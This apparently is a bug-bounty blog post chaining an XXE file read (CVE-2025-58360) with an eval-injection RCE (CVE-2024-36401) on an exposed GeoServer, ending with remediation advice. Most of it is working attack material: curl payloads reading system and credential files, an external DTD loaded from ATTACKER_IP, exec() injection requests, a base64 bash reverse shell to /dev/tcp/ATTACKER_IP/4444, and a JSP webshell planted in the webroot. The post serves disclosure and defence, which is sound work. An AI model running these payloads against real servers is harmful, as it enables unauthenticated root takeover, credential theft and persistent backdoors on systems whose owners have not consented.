1612 words
8 minutes
From File Read to Root Shell: Chaining CVE-2025-58360 & CVE-2024-36401 on an Exposed GeoServer

TL;DR — A publicly exposed GeoServer instance was running a version from 2018, vulnerable to two different CVEs: CVE-2025-58360 (XXE — arbitrary file read) and CVE-2024-36401 (unauthenticated RCE via eval injection). This post walks through how a “simple” file read became a reconnaissance oracle leading to full remote code execution as root, and the defensive lessons behind it. The finding was reported through responsible disclosure and accepted (reward: $700).


Background#

GeoServer is an open-source Java server for sharing geospatial data (maps, layers, features) through OGC-standard protocols such as WMS, WFS, and WCS. Because it is designed to be public-facing, many GeoServer instances are exposed on the internet — including ones belonging to research institutions and government agencies.

The two CVEs at the heart of this research:

CVETypeImpact
CVE-2025-58360XML External Entity (XXE) in the OWS endpointArbitrary file read, directory listing (via Java’s file:// handler), SSRF, DoS
CVE-2024-36401Eval injection in OGC request parameters (valueReference, propertyName, CQL_FILTER, etc.)Unauthenticated Remote Code Execution — all versions prior to 2.23.6 / 2.24.4 / 2.25.2

The research question I started with: XXE only gives a file-read primitive — no write, no execute. Can that realistically lead to RCE?

The answer: yes, through chaining.

Reconnaissance#

During recon I came across a publicly exposed GeoServer instance (URL masked as https://geoserver.redacted.example). Two things caught my attention:

  1. The OWS endpoint answered WMS/WFS requests without authentication — normal for GeoServer, but it means the attack surface is wide open.
  2. Verbose error messages (ServiceException with stack traces) — helpful for fingerprinting.

To keep the real target safe, validation against it was kept to an absolute minimum; deep analysis was performed on a local lab replica reproducing the target’s configuration (version, data structure, and deployment layout).

Stage 1 — XXE as the Eyes (CVE-2025-58360)#

The XXE lives in the SLD (StyledLayerDescriptor) document that GeoServer parses when processing a WMS GetMap request. The external entity is placed inside the <n> (layer name) element, and the file contents are reflected back inside the WMS ServiceException error — a clean error-based exfiltration channel:

Terminal window
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/os-release">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"https://geoserver.redacted.example/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

The response carries the file contents inside the exception text:

<ServiceException>
A UserLayer or NamedLayer without layer name was passed: PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
...
</ServiceException>

File read confirmed. From here, the same payload is reused throughout the engagement — only the entity path changes:

<!ENTITY xxe SYSTEM "file:///TARGET_PATH">

Directory listing via Java’s file:// handler#

A nice property of XXE on the Java stack: pointing the entity at a directory (with trailing slash) returns its contents as plain text — effectively a remote ls:

<!ENTITY xxe SYSTEM "file:///">
.dockerenv bin etc opt usr var ...
<!ENTITY xxe SYSTEM "file:///usr/local/">
geoserver tomcat ...

The presence of .dockerenv confirmed the target runs inside a Docker container, and /usr/local/ revealed both the geoserver webapp directory and the tomcat home.

In-band limitations worth understanding#

Two technical findings during exploitation:

  • Files containing null bytes fail/proc/self/environ triggers An invalid XML character (Unicode: 0x0) because XML parsers reject null characters. Ironically, this error itself proves the file was being read.
  • XML files come back empty or break the parsertomcat-users.xml and GeoServer’s own configs are XML; the parser treats < as markup (Scanner State 24 not Recognized). Reading them requires the CDATA wrap via external DTD trick — host this DTD on your machine:
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///PATH/TO/TARGET">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % wrap "<!ENTITY exfil '%start;%file;%end;'>">
%wrap;

Then load it in the payload instead of the direct file entity:

<!DOCTYPE StyledLayerDescriptor [
<!ENTITY % dtd SYSTEM "http://ATTACKER_IP:8000/evil.dtd">
%dtd;
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&exfil;</n>
</NamedLayer>
</StyledLayerDescriptor>

Startup logs as an intel goldmine#

Tomcat log files are plain text — safe for in-band exfiltration with the base payload:

<!ENTITY xxe SYSTEM "file:///usr/local/tomcat/logs/catalina.2026-07-13.log">

The log is extremely rich:

Server version: Apache Tomcat/8.5.31
JVM Version: 1.8.0_171-8u171-b11-1~deb9u1-b11
Command line argument: -DGEOSERVER_DATA_DIR=/var/local/geoserver

That single line hands you the GeoServer data directory — the key to every subsequent target. The same log also revealed:

  • LockOutRealm is active — traces of someone else brute-forcing Tomcat Manager; all accounts locked. Password guessing is a dead end; credentials must be stolen as-is.
  • AJP connector on port 8009 — Tomcat 8.5.31 is vulnerable to Ghostcat (CVE-2020-1938), a potential alternative path.

Legacy credentials#

<!ENTITY xxe SYSTEM "file:///var/local/geoserver/security/users.properties">
admin=geoserver,ROLE_ADMINISTRATOR

A legacy migration leftover containing default credentials in plaintext. (In this case the active password had been changed — the modern user store lives in security/usergroup/default/users.xml with hashed passwords — but the presence of legacy files like this is a security finding on its own.)

Stage 2 — Precise Version Fingerprinting#

Instead of guessing, list the application’s libraries directly — directory listing again:

<!ENTITY xxe SYSTEM "file:///usr/local/geoserver/WEB-INF/lib/">
gs-main-2.13.1.jar
gs-ows-2.13.1.jar
gt-cql-19.1.jar
...

GeoServer 2.13.1 (GeoTools 19.1) — released 2018, far below the CVE-2024-36401 patch boundary (2.23.6 / 2.24.4 / 2.25.2). This is where the XXE proved its worth: without a file-read primitive, pinning the version this precisely is much harder.

Stage 3 — RCE (CVE-2024-36401)#

GeoServer evaluates expressions in several OGC request parameters. The exec() function registered in GeoTools allows direct system command execution:

Terminal window
curl -G "https://geoserver.redacted.example/geoserver/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetPropertyValue" \
--data-urlencode "typeName=sf:archsites" \
--data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'id')"

Note: --data-urlencode matters — raw {, }, and | characters are rejected by Tomcat, and + inside base64 payloads would be mangled into spaces in a query string.

An elegant confirmation trick: the error IS the proof#

exec() returns a Process object, which GeoServer cannot render as an attribute — producing a very specific error:

java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to
org.opengis.feature.type.AttributeDescriptor

This error is proof of RCE. UNIXProcess (Java 8) / ProcessImpl (Java 9+) only appear if Runtime.exec() actually ran. No reverse shell needed, no outbound connection needed — just read the error message. For bug bounty, this is the ideal confirmation: non-destructive and unambiguous.

An even cleaner local verification loop — write a file via RCE, then read it back through the XXE#

Terminal window
# Step 1: execute a write via CVE-2024-36401
curl -G "https://geoserver.redacted.example/geoserver/ows" \
--data-urlencode "service=WFS" --data-urlencode "version=2.0.0" \
--data-urlencode "request=GetPropertyValue" --data-urlencode "typeName=sf:archsites" \
--data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'touch /tmp/pwned36401')"
<!-- Step 2: read it back via CVE-2025-58360 -->
<!ENTITY xxe SYSTEM "file:///tmp/pwned36401">

File exists → RCE confirmed, with zero outbound connectivity required.

Important for fellow hunters: multiple injection points#

CVE-2024-36401 has several injection points, and their behavior differs across versions:

  • propertyName in GetFeature is split on commas — the payload exec(java.lang.Runtime.getRuntime(),'id') gets truncated at the comma and rejected with Requested property: exec(java.lang.Runtime.getRuntime() is not available (bonus: the error leaks the layer’s full attribute schema).
  • valueReference on some versions is accepted only as a literal attribute name → No such attribute: exec(...).
  • CQL_FILTER via GET can fail on the CQL grammar itself (nested function calls in argument position).

The XML Filter POST variant exercises yet another parser path:

Terminal window
curl -X POST "https://geoserver.redacted.example/geoserver/wfs" \
-H "Content-Type: application/xml" -d '<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:wfs="http://www.opengis.net/wfs" xmlns:ogc="http://www.opengis.net/ogc">
<wfs:Query typeName="reference:va_county">
<ogc:Filter>
<ogc:PropertyIsEqualTo>
<ogc:Function name="exec">
<ogc:Literal>java.lang.Runtime.getRuntime()</ogc:Literal>
<ogc:Literal>id</ogc:Literal>
</ogc:Function>
<ogc:Literal>true</ogc:Literal>
</ogc:PropertyIsEqualTo>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>'

A scanner/PoC testing only one endpoint is prone to false negatives — a “not vulnerable” verdict means nothing until you’ve manually tried every injection point.

From execution to shell#

For interactive access, Java’s Runtime.exec doesn’t interpret pipes/redirects, so the standard base64 pattern is used:

Terminal window
# Attacker side
echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0
nc -lvnp 4444
Terminal window
curl -G "https://geoserver.redacted.example/geoserver/ows" \
--data-urlencode "service=WFS" --data-urlencode "version=2.0.0" \
--data-urlencode "request=GetPropertyValue" --data-urlencode "typeName=sf:archsites" \
--data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')"

And when outbound connectivity is restricted, write a JSP webshell directly into the webroot — the port you already reach is your channel:

Terminal window
curl -G "https://geoserver.redacted.example/geoserver/ows" \
--data-urlencode "service=WFS" --data-urlencode "version=2.0.0" \
--data-urlencode "request=GetPropertyValue" --data-urlencode "typeName=sf:archsites" \
--data-urlencode "valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,BASE64_JSP}|{base64,-d}|{tee,/usr/local/tomcat/webapps/ROOT/shell.jsp}')"
<%@ page import="java.io.*" %><% String c=request.getParameter("cmd");
if(c!=null){ Process p=Runtime.getRuntime().exec(c);
InputStream i=p.getInputStream(); int b;
while((b=i.read())!=-1){ out.write(b); } } %>
$ curl "https://geoserver.redacted.example/shell.jsp?cmd=id"
uid=0(root) gid=0(root) groups=0(root)

Because the GeoServer process runs as root, RCE means full control of the container.

The Full Chain#

CVE-2025-58360 (XXE file read)
├─ /etc/os-release, /etc/shadow → target profiling
├─ directory listing via file:// → filesystem mapping
├─ catalina log → GEOSERVER_DATA_DIR + defensive intel
├─ security/users.properties → legacy credentials
└─ WEB-INF/lib/ → precise version: 2.13.1
CVE-2024-36401 (eval injection)
└─ exec() via OGC parameter → command execution
Root shell / persistent webshell

The XXE never executed anything — its role was being the eyes: it turned a blind attacker into one who knows the exact version, layout, credentials, and other weaknesses of the target.

Impact#

  • Unauthenticated RCE as root on a production server hosting institutional geospatial data.
  • Access to the entire GeoServer configuration, including database (PostGIS) credentials stored with reversible encryption.
  • Potential pivoting into the internal network.
  • Log evidence showed the server was already being probed by other scanners/bots — high risk of active exploitation in the wild.

Remediation#

  • Upgrade GeoServer to a patched version (≥ 2.23.6 / 2.24.4 / 2.25.2 for CVE-2024-36401; ≥ 2.25.6 / 2.26.2 for CVE-2025-58360). Closing one CVE is not enough — this instance was vulnerable to both at once.
  • Never run as root — a non-root process significantly limits RCE impact.
  • Remove legacy credential files (users.properties) after migrating the user store.
  • Do not deploy Tomcat manager/host-manager apps in production.
  • Restrict container egress — reverse shells and exfiltration become far harder without outbound connectivity.
  • Disable the AJP connector if unused (port 8009).
  • Monitor logs — XXE and eval injection leave distinctive patterns in access and error logs.

Closing Thoughts#

This research reinforces an old principle: there is no such thing as a “merely informational” vulnerability. An XXE with no write or execute primitive still becomes a gateway to full compromise when used as a reconnaissance oracle. For hunters: precise fingerprinting is half the battle — and an error message is often the best, non-destructive proof of exploitation you’ll ever get. For defenders: an outdated stack exposed to the public internet is a ticking time bomb, especially once the scanners come knocking.


All URLs and target identifiers are masked. Validation against the real server was kept to a minimum; full impact demonstration was performed on a local lab replica. Thanks to the program’s security team for their fast and professional response.

From File Read to Root Shell: Chaining CVE-2025-58360 & CVE-2024-36401 on an Exposed GeoServer
https://blog.hirara.dev/posts/file-read-to-root-shell-geoserver/
Author
Hirara
Published at
2026-07-19
License
CC BY-NC-SA 4.0